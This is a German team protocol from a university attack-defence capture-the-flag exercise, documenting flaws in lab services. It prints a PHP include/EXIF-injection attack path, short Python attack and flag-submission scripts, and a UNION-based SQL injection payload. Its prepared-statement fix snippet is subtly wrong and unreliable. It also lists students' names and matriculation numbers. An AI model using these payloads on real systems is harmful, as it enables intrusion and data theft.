```
################################################################################
#                              Protokoll fuer CTF                              #
################################################################################

Informationen zum Protokoll:
Das Protokoll ist verpflichtend abzugeben. Das Protokoll wird einen grossen
Teil der Gesamtpunktezahl ausmachen. Beginnen Sie rechtzeitig mit dem Verfassen
des Protokolls!

Hinweise:
* Beschreiben Sie alle Fehler welche Sie bei den Services gefunden haben.
* Erklaeren Sie auch wie Sie diese Fehler behoben haben.
* Sollten Sie zwar Fehler finden aber diese nicht beheben koennen, beschreiben
  Sie die gefundenen Stellen und was Sie machen muessten um den Fehler zu
  beheben.
* Es koennen an unterschiedlichen Stellen Schwachstellen oder schlechte/falsche
  Konfigurationen vorhanden sein. Wenn Sie diese finden, dokumentieren Sie
  diese, unabhaengig ob diese ausnutzenbar sind oder nicht.
* Dokumentieren Sie kreative Ideen um Angriffe/Abwehr/usw. durchzufuehren. Es
  ist wichtig, diese zu beschreiben unabhaengig ob Sie diese auch
  umgesetzt haben.
  z.B.: automatisierte Angriffe, Ausnutzen von Schwachstellen in Service A um
        Flags von Service B zu erhalten, ...
* Beschreiben Sie die durchgefuehrten Angriffe. Wenn ein Angriff nicht
  erfolgreich war, sollte dieser trotzdem dokumentiert werden. Es gibt auch
  dafuer Punkte! Erklaeren Sie dann den versuchten Weg und die aufgetretenen
  Fehler.
* Wenn Sie zusaetzliche Dateien wie zum Beispiel Source Code, Screenshots, usw
  abgeben moechten, verweisen (Dateiname) Sie darauf in diesem Dokument und
  geben Sie diese zusammen mit dem Protokoll in einem Archiv (ZIP, Tar, usw.)
  ab.

################################################################################
# Gruppe
################################################################################

Gruppennamen: Anonymus

--------------------------------------------------------------------------------
   Matrikelnummer, Vorname, Nachname
--------------------------------------------------------------------------------
1: 0702077 - Zoltan KREKUS
2: 0725439 - Florin Bogdan BALINT
3: 0826687 - Tudor-Octav PLES
4: 0926240 - Simon Georg HECHT
--------------------------------------------------------------------------------


################################################################################
# Service icongenerator
################################################################################

--------------------------------------------------------------------------------
1) Beschreibung des Services
--------------------------------------------------------------------------------
Dieses Service dient der Verwaltung von Icons für Webseiten. Dabei können Icons angelegt,
editiert und gesucht werden. Icons erhalten bei ihrer Erstellung eine Id, welche zusammen
mit einem angegeben Geheimwort (Key), den Secret (MD5-Hash) ergibt, welcher zum späteren
```

Editieren benötigt wird.

---
2) Gefundene Fehler und Loesungen

Die Fehlerquelle dieses Service lag in der Verwendung von dynamischen Includes mittels der PHP Funktion include. Dadurch ist es möglich PHP Code zur Laufzeit dynamisch nachzuladen. Ein direktes include der gesamten Datenbank wurde zwar verhindert, in dem eine entsprechende Abfrage sicherstellte, dass man nicht explizit das DB File als Argument für include() übergibt, jedoch war es möglich Icons, welche man zuvor hochgeladen hatte, später mittels main.php?i=../Icons/IconId.jpg|gif zu includen.
Nun konnte man in den Metadaten dieser Icons etwa mittels eines Tools wie EXIFEditor PHP Code hinzufügen, welcher beim Aufruf des jeweiligen Icons mittels include() injected wurde. Ein einfaches echo(file_get_contens(DB_FILE)) lieferte auf diesem Weg den Inhalt der gesamten Datenbank und somit auch die gewünschten Flags.
Eine Lösung dieses Problems wäre etwa eine striktere Überprüfung der zulässigen Parameter beim Aufruf von include().
Siehe referenzen 1 und 2

---
3) Angriffe auf dieses Service

Wie bereits oben erwähnt wurde hierbei PHP Code in Bilddateien injected, welche als Icon hochgeladen wurden und dann mittels include der injizierte Code ausgeführt wurde.

Automatisieren Submit Script:

```
#!/usr/bin/env python
import sys
import socket
import sys

def sreadline(sock):
        line = sock.makefile().readline()
        dbgOutput("recv: " + line)
        return line

def swriteline(sock, line):
        dbgOutput("send: " + line)
        sock.send(line + "\n")

def dbgOutput(msg):
        print("%s\n" % msg)

if __name__ == '__main__':

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("192.168.40.200", 80))

    #flag = "130620131510524BZ4YY0S23WO6P1ZFE"
    flag = sys.argv[1]

    print(sys.argv[1])

        swriteline(sock, "GET /SubmitFlagServlet?teamInput=117&flagInput=" + flag + "
HTTP/1.1\r\nHost: 192.168.40.200\n")
```

```
    print sock.recv(4000)
    print sock.recv(4000)
    print sock.recv(4000)
    print sock.recv(4000)


    sock.close()
```

Script für die Icons angefangen, die Idee ist, dass wir die Bilder auf den Services der anderen manuel hochgeladen haben und dazu eine ID in einer Map aus IP + ID eintragen, die wird dann durchgegangen. Dies konnten wir aber nicht fertigstellen:

```
#!/usr/bin/env python
import sys
import socket
import sys

def sreadline(sock):
        line = sock.makefile().readline()
        dbgOutput("recv: " + line)
        return line

def swriteline(sock, line):
        dbgOutput("send: " + line)
        sock.send(line + "\n")

def dbgOutput(msg):
        print("[ERROR] %s\n" % msg)

if __name__ == '__main__':

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("192.168.40.117", 8081))

    #flag = "130620131510524BZ4YY0S23WO6P1ZFE"

    bildID = sys.argv[1]

    # todo: filter flags and call submit

    url = "/main.php?i=../icons/" + bildID + ".jpg"
    swriteline(sock, "GET " + url + " HTTP/1.1\r\nHost: 192.168.40.117\n\n")

    print sock.recv(4000)
    print sock.recv(4000)
    print sock.recv(4000)
    print sock.recv(4000)


    sock.close()

################################################################################
# Service colaboservice
################################################################################

--------------------------------------------------------------------------------
1) Beschreibung des Services
--------------------------------------------------------------------------------
```

Der Service stellt über Python einen Service auf Port 9999 zur Verfügung, man kann sich über register und login(auch mit einer SessionID) einloggen. Anschließend messages schicken. Ausserdem kann man secrets speichern, abfragen und den status und die User auflisten. Benutzt haben wir den Service über telnet.

SessionIDs werden mit uuid.uuid4() erzeugt, was eigentlich sicher sein sollte. Passwörter werden mit sha256 hashed.

---
2) Gefundene Fehler und Loesungen

Wir haben nichts gefunden. Eventuell Session Injection wäre denkbar.

---
3) Angriffe auf dieses Service

Wir haben nichts gefunden.

##
Service pizzaservice
##

---
1) Beschreibung des Services

Der Service kümmert sich um Pizzabestellungen. Er besteht aus einer Datenbank, einem Backend und einem Webfrontend. Man kann sich registrieren, eine Bestellung machen und Bestellungen anzeigen lassen. Das Frontend besteht aus vier PHP-Dateien, das Backend aus einer Syntak-veränderten C-Sprache. Es wird über exec von PHP aufgerufen. In der Makefile ist #_XOPEN_SOURCE auf >= 500 gestellt, was Raum für snprintf lässt. Die Datenbank besteht aus einem Verzeichnis, in denen die Unterverzeichnisse die IDs der Benutzer sind. Darin befinden sich die Dateien userdata, die die User/Bestellungen beiinhaltet.

---
2) Gefundene Fehler und Loesungen

Die Idee ist, dass im Backend in der order.prog ein snprintf die Länge zum kopieren in einen Buffer nicht richtig setzt, leider hatten wir keine Zeit mehr diese Schwachstelle zu finden.

---
3) Angriffe auf dieses Service

Wurde nicht gefunden.

##
Service serialservice
##

---
1) Beschreibung des Services

Der Serialservice besteht aus einem Haskelscript und Shellsckript-Backend, und einem PHP-

Frontend. PHP ruft über shell_exec das Shellskript auf, wobei das Shellskript eingaben über escapeshellcmd filtert. Ausserdem werden die Parameter in shell_exec mit „“ gesichert. Das Shellskript ruft das Haskelskript ebenfalls mit „“ -gesicherte Parametern auf

---
2) Gefundene Fehler und Loesungen

Eventuell passiert ein Fehler in escapeshellcmd, oder „“ im Shellskript reicht nicht aus, um in der Shell code der injected wird zu filtern. Es könnte natürlich auch eine Schwachstelle in dem Haskelskript geben.

---
3) Angriffe auf dieses Service

Wir haben nichts gefunden.

##
Service whatevernote
##

---
1) Beschreibung des Services

Mittels dieses Service war es möglich einen User anzulegen und für diesen User Nachrichten/Notizen anzulegen bzw. Die Noziuen einzusehen.

---
2) Gefundene Fehler und Loesungen
SQL Injection in check.php und login.php möglich.
Die Schwachstelle dieses Service bestand in der Verwendung einfacher SQL Statements anstatt Prepared Statements, wodurch eine simple SQL Injection möglich wurde.
Beim Einloggen reichte somit bereits ein 'or 1=1;-- um sich am Systen anzumelden.
Beim Abfragen der Notizen konnte man mittels UNION die username Spalte der user Tabelle anfügen, in der sich dann die Flags befanden.
Die Behebung dieser Schwachstelle erfolgte durch die Verwendung von bindParam, wodurch Prepared Statements richtig verwendet wurden.

Beispiel:
```
$stmt = $dbh->query("SELECT username FROM user WHERE username = :username AND password
= :password");
$stmt->bindParam(':username', $username);
```

---
3) Angriffe auf dieses Service

SQL Injection mittels:

```
' or 1=1 UNION ALL Select username from user; --
```
liefert zusätzlich zu den Notizen die Liste aller UserNamen (=Flags).

##
Service easyserver
##

---

1) Beschreibung des Services

Beim Easyserver ging es prinzipiell um einen in der Programmiersprache C geschriebenen Webserver. Hier gab es eine index.html Seite die man aufrufen bzw. bearbeiten konnte. Wenn man in der Browserleiste den Eintrag ‘index.html‘ gelöscht hat, hat man bemerkt dass im Firebug ein OK als Netzwerkverbindung zurück kommt.
---
2) Gefundene Fehler und Loesungen

Flags von anderen Teams haben wir hier nicht entziehen können, wir sind aber prinzipiell auf die Schwachstelle gekommen. Dieser Webserver generiert Ordner anhand einer userlist und wenn man in der Browserbar diese Ordnernamen direkt eingetippt hat, hat man den Flag im html-Code bemerken können.
---
3) Angriffe auf dieses Service

Die eigentliche Schwachstelle war erstens, dass man direkt im Browser Dateien öffnen und deren Inhalt lesen kann und zweitens sind diese Ordnernamen (wo der Inhalt die Flags waren) vorhersehbar gewesen.

```
################################################################################
# Sonstige Anmerkungen
#
# Saemtliche Anmerkungen im Zusammenhang mit dem CTF. Dieser Teil wird nicht
# fuer die Bewertung verwendet. Feedback hilft uns diese Veranstaltung fuer
# kommende Semester zu verbessern.
#
```

Uns hat gestört, dass wir mit drei anderen Gruppen in einem Raum waren, nächstes Semester würden wir uns in ein Cafe Umgebung TU-Wlan und von dort aus arbeiten. Am Ende waren wir so im Stress, dass wir gezwungen waren miteinander zu reden – die Zusammenarbeit klappt viel besser wenn man miteinander sprechen kann - und eine andere Gruppe konnte uns somit belauschen, unser Bild nehmen, das wir bei ihnen zum Angreifen verwendet haben. Zum Glück konnten sie die Lücke damit auch nicht ausnützen. :)

Ausserdem dachten wir zuerst wir müssen das System allgemein auch absichern, das man sich nur auf die Service konzentrieren soll war uns erst später klar. Eventuell hätten wir in die Vorlesung gehen sollen. ;)

Hat Spass gemacht!

```
################################################################################
# Referenzen
#
# Referenzen auf verwendete Sourcen wie Tutorials, Web Seiten, ...
################################################################################
```

[1] http://php.net/manual/en/function.mime-content-type.php
[2] http://www.opensource.apple.com/source/file/file-23/file/magic/magic.mime
[3]